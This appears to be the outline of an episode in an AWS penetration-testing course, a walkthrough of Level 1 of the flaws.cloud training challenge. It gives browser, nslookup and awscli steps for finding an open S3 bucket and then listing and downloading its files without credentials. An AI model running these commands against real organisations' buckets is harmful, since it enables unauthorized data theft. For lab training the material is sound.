

- Filename: intro-to-aws-pentesting-3-1-1-flaws-level-1.md
- Show Name: Intro to AWS Pentesting
- Topic Name: Flaws
- Episode Name: Flaws: Level 1

Flaws: Level 1

Objectives:

- Utilize cloud pentesting techniques specific to AWS environments to complete the Flaws Level 1 challenge
- Utilize the awscli to enumerate sensitive information from an open S3 bucket

-
- This level is *buckets* of fun.

- This is probably an s3 bucket challenge
- Open s3 buckets have caused many a sensitive data leak

- Let's attempt to verify we have an s3 bucket

- Use the browser to view bucket contents

- `https://flaws.cloud.s3.amazonaws.com`

- BINGO!

- nslookup can be useful as well

- `nslookup flaws.cloud`

- `nslookup 52.218.201.187`

- This reveals the region

- We can also use the awscli to test

- `aws s3 ls s3://flaws.cloud`

- Sometimes you may get an error

- *The AWS Access Key Id you provided does not exist in our records.*

- You may be able to get around this

- `--no-sign-request`

- This will keep credentials from being loaded

- Now let's attempt to pilfer this bucket of its secrets

- Grab a file with `cp`

- `aws s3 cp s3://flaws.cloud/secret-dd020c7c.html secret-dd020c7c.html --no-sign-request`

- Grab all the files with `sync`

- `aws s3 sync s3://flaws.cloud . --no-sign-request`